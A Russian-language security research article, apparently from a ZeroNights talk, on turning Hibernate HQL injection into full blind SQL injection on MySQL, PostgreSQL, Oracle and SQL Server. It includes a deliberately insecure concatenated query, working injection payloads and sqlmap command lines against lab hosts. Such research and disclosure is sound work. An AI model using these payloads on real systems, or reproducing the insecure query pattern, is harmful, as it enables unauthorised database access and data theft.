Эксплуатация инъекций в Hibernate ORM
Доклад на эту тему был представлен на конференции ZeroNights 0×05 на секции FastTrack. Работа оказалась очень актуальной и вызвала большой интерес, поскольку в последнее время проблема эксплуатации HQL-инъекций интересовала многих security-исследователей, специализирующихся на веб-безопасности. Поэтому я решил написать статью, которая раскрывает дополнительные детали, позволяющие лучше понять результаты работы.
Современные приложения, написанные на языке Java, как правило, работают с СУБД не напрямую, а используют Java Persistence API (JPA). JPA — это API, который был добавлен в состав платформ Java SE и Java EE, начиная с Java версии 5, для того, чтобы было удобно сохранять Java-объекты в базу данных и извлекать их из базы данных. Существует большое количество ORM-библиотек (ORM — Object-Relational Mapping) для JAVA, которые реализуют спецификацию JPA. На сегодняшний момент последняя версия спецификации 2.1.
Одна из популярных ORM-библиотек — Hibernate ORM. На данный момент Hibernate является проектом RedHat. Cерверы приложений WildFly и JBoss используют Hibernate в качестве ORM.
Hibernate ORM использует объектно-ориентированный язык запросов Hibernate Query Language (HQL) для написания запросов к сущностям Hibernate, которые хранятся в базе данных.
HQL-инъекция
Для передачи параметров в HQL-запрос используются named parameters или positional parameters. Ниже представлен пример передачи параметра в HQL-запрос при помощи named parameters. Параметр name
передается в HQL-запрос.
public List getByName_Secure(String name) {
Query query = em.createQuery("SELECT p FROM Post p where p.name=:name", Post.class);
query.setParameter("name", name);
return (List) query.getResultList();
}
Разработчик по незнанию или непониманию может попытаться передать параметр name напрямую в HQL-запрос, используя конкатенацию, вместо использования parameter binding, как показано выше. В этом случае код содержит HQL-инъекцию (HQLi). Ниже приведен пример небезопасного кода.
public List getByName_Insecure(String name) {
Query query = em.createQuery("SELECT p FROM Post p where p.name='" + name + "'", Post.class);
return (List) query.getResultList();
}
При эксплуатации HQLi атакующий не сможет прочитать содержимое таблиц, которые отличны от таблицы post, к которой привязан (mapped) класс Post. При обращении в подзапросе к таблице, которая не связана с сущностью, генерируется исключение HibernateQueryException
и запрос дальше не обрабатывается.
package hqli.persistent;
import javax.persistence.*;
@Entity
@Table(name = "post")
public class Post {
…
}
Это серьёзное препятствие при эксплуатации HQLi, если, конечно, entity-класс не связан с таблицей, в которой хранятся данные, используемые приложением для аутентификации или авторизации.
Исследователь @PaulWebSec написал утилиту HQLmap для эксплуатации HQLi. Утилита реализует blind и error-based техники для эксплуатации HQLi, но позволяет извлекать данные только из связанных таблиц.
Еще один исследователь @h3xstream написал статью про техники эксплуатации HQLi. В данной статье рассмотрены базовые техники эксплуатации, которые также не позволяют получить доступ к таблицам БД, которые не связаны с сущностью.
Цель исследования
Главная цель — получить доступ ко всем таблицам базы данных, которые доступны текущему пользователю СУБД.Т. е. найти возможность эксплуатировать HQLi как SQL-инъекцию (SQLi).
Основная задача Hibernate ORM — это преобразовать HQL-запрос в SQL-запрос. Преобразование HQL в SQL происходит в три этапа:
- Парсинг HQL-запроса при помощи ANTLR с использованием следующей грамматики. Результатом парсинга является HQL-AST (AST — Abstract syntax tree).
- Преобразование HQL-AST в SQL-AST. Как раз на этом этапе проверяется, что HQL-запрос обращается только к связанным таблицам.
- Преобразование SQL-AST в SQL-запрос, который будет отправлен в СУБД.
Можно переформулировать цель следующим образом — нам нужно найти HQL-подзапрос, который позволит всему HQL-запросу пройти этапы преобразования 1 и 2, и, самое главное, позволит на 3 этапе получить доступ к таблице, которая не связана с сущностью. Хочется найти HQL-подзапросы, обладающие указанным свойством, для популярных реляционных СУБД: MySQL, Postgresql, Oracle и Microsoft SQL Server.
Методы исследования
Первым делом было написано уязвимое приложение, которое использовалось для опытов, оно доступно здесь. Приложение принимает URL-параметр, который поступает в качестве аргумента в уязвимую функцию getByName_Insecure
.
Данное приложение было развернуто на сервере приложений WildFly. Для сервера приложений были установлены JDBC-драйверы для следующих СУБД: MySQL, Postgresql, Oracle и Microsoft SQL Server. При помощи задания свойств Datasource с именем HQLiDS, приложение подключалось к разным СУБД.
Был настроен уровень логирования Hibernate со значением Debug для того, чтобы в логи сервера приложений записывались HQL и соответствующий ему SQL запросы.
Были изучены особенности грамматики HQL и особенности преобразования HQL-AST в SQL-AST. Эти особенности позволили для каждой из СУБД найти техники эксплуатации.
Эксплуатация HQLi в MySQL
Техника эксплуатации основана на том, что в Hibernate и MySQL по-разному происходит экскейпинг кавычки в строках. Для того, чтобы использовать кавычку в строке в Hibernate, нужно ее удвоить. Для того, чтобы использовать кавычку в строке в MySQL, нужно ее экранировать символом слэш.
# Hibernate
'String with '' symbol'
# MySQL
'String with \' symbol'
Что будет, если в строке мы передадим \''
(слэш и затем две кавычки)? Т.е. если в качестве параметра name мы передадим уязвимому методу getByName_Insecure
следующее значение.
dummy\'' or 1
Hibernate увидит строку, т.к. слэш — обычный символ для Hibernate и двойная кавычка — это экранированная кавычка. Таким образом, результирующим HQL-запрос пройдет этапы преобразования 1 и 2. Напротив, MySQL увидит экранированную кавычку \'
и неэкранированную кавычку, которая терминирует строку и остальная часть значения параметра or 1
HQL-инъекцию в этом случае можно эксплуатировать, используя утилиту sqlmap следующим образом.
sqlmap -u "http://192.168.66.10:8080/app/dummy%5C%27%27%20or%201%3Clength%28%28select%20version%28%29%20from%20dual%20where%201=1*%29%29%20--%20" --dbms="MySQL" --technique B -b -v 0
Данная техника была показана на конференции SYNACTIV исследователем @_unread_ до нашего выступления на ZeroNights. Вот ссылка на презентацию.
Эксплуатация HQLi в Postgresql
Для СУБД Postgresql трюк с кавычками не работает, т.к. Postgresql экранирует кавычки таким же образом, как и Hibernate.
Hibernate позволяет вызывать любые функции СУБД и передавать данным функциям произвольные идентификаторы в качестве параметров. В Postgresql есть полезная функция query_to_xml('select 1',…)
, которая позволяет выполнить произвольный SQL-запрос, который передается ей в качестве первого параметра. Функция возвращает XML-объект. Для того, чтобы использовать query_to_xml
для эксплуатации, нужно ее дополнительно обернуть в вызовы функций array_upper
и xpath
. Если SQL-запрос, переданный в query_to_xml
, вернет одну или более строк, то данная конструкцию вернет значение 1
.
array_upper(xpath('row',query_to_xml('SQL', true, false,'')),1)
Запрос select 1 where 1337>1
возвращает одну строку, поэтому выражение возвращает значение 1
.
postgres=# select array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1);
array_upper
-------------
1
(1 row)
Запрос select 1 where 1337<1
возвращает ноль строк, поэтому выражение не возвращает значение 1
.
postgres=# select array_upper(xpath('row',query_to_xml('select 1 where 1337<1', true, false,'')),1);
array_upper
-------------
(1 row)
В конечном итоге мы можем эксплуатировать HQLi с помощью sqlmap следующим образом.
sqlmap -u "http://hqli.playground.local:8080/hqli.playground/dummy%27%20and%20array_upper%28xpath%28%27row%27%2Cquery_to_xml%28%27select%201%20where%201337%3E1*%27%2Ctrue%2Cfalse%2C%27%27%29%29%2C1%29%3D1%20and%20%271%27%3D%271" --dbms="PostgreSQL" --technique B -b -v 0
Видео, которое показывает эксплуатацию HQLi для СУБД Postgresql, доступно здесь.
Эксплуатация HQLi в Oracle
Для Oracle эксплуатация HQLi аналогична её эксплуатации в Postgresql. В Oracle функция DBMS_XMLGEN.getxml('SQL')
позволяет выполнить любой SQL-запрос и возвращает CLOB
. Для того, чтобы использовать функцию DBMS_XMLGEN.getxml
для эксплуатации, необходимо ее обернуть вызовами функций NVL
и TO_CHAR
. Если SQL-запрос, переданный в DBMS_XMLGEN.getxml
вернет ноль строк, то следующая конструкцию вернет значение '1'
.
NVL(TO_CHAR(DBMS_XMLGEN.getxml('SQL')),'1')
С использованием sqlmap эксплуатации HQLi в СУБД Oracle выглядит следующим образом.
sqlmap -u "http://hqli.playground.local:8080/hqli.playground/dummy%27%20and%20NVL(TO_CHAR(DBMS_XMLGEN.getxml(%27select%201%20from%20dual%20where%201337>1*%27)),%271%27)!= %271%27%20and%20%271%27=%271" --dbms="Oracle" --technique B -b -v 0
Эксплуатация HQLi в Microsoft SQL Server
Для СУБД Microsoft SQL Server трюк с кавычками не работает. Функции наподобие query_to_xml
и DBMS_XMLGEN.getxml
отсутствуют в СУБД.
В данном случае эксплуатация HQLi основана на том, что Hibernate разрешает использовать Unicode-символы в именах функций и именах параметров, которые передаются в функцию. В то же время СУБД SQL Server допускает использование Unicode-символов наподобие No-break spacе (U+00A0)
или Ideographic space (U+3000)
в качестве пробелов. Таким образом, следующие два запроса валидны и эквивалентны в SQL Server.
select top1 uname from postusers
select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers
Таким образом, если в качестве параметра в уязвимый метод мы передадим следующее значение.
dummy' or 1
Hibernate увидит вызов функции Len
, внутри которой вызывается функция с именем [U+00A0]
и которой в качестве аргумента передается следующий параметр.
select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers
С точки зрения Hibernate все кажется нормальным, так как Hibernate разрешает вызывать любые функции и передавать им в качестве параметров любые переменные. HQL-запрос успешно пройдет этапы преобразования 1 и 2.
SQL Server увидит дополнительный подзапрос, который обращается к таблице postusers
, так как [U+00A0]
воспринимается как пробел.
dummy' or 1
Эксплуатировать HQLi с помощью sqlmap напрямую не получится. В связи с этим, был написан Perl-скрипт, который умеет извлекать имена таблиц в текущей БД, извлекать имена столбцов для выбранной таблицы и в завершении дампить выбранную таблицу. Видео, которое демонстрирует работу Perl-скрипта, доступно здесь. Perl-скрипт доступен здесь.
Заключение
Были найдены новые техники, которые позволяют эксплуатировать HQLi как blind SQLi для популярных СУБД. Это приравнивает опасность любой HQLi к опасности SQLi.
Техники эксплуатации работают из-за особенностей парсинга HQL-запросов и особенностей преобразования HQL-AST в SQL-AST:
- Экранирование кавычек в строке осуществляется путем их удвоения. В СУБД MySQL экранирование кавычек осуществляется по-другому (при помощи символа слэш).
- Возможно использовать любые имена для вызываемых функций. В HQL можно вызывать функцию
query_to_xml
для Postgresql и функциюDBMS_XMLGEN.getxml
для Oracle. - Возможно использовать Unicode-символы в именах вызываемых функций и именах, передаваемых в них параметров. Можно использовать символы
No-break spacе (U+00A0)
илиIdeographic space (U+3000)
, которые интерпретируются как пробел в Microsoft SQL Server.
Презентация с выступления на ZeroNights 0×05.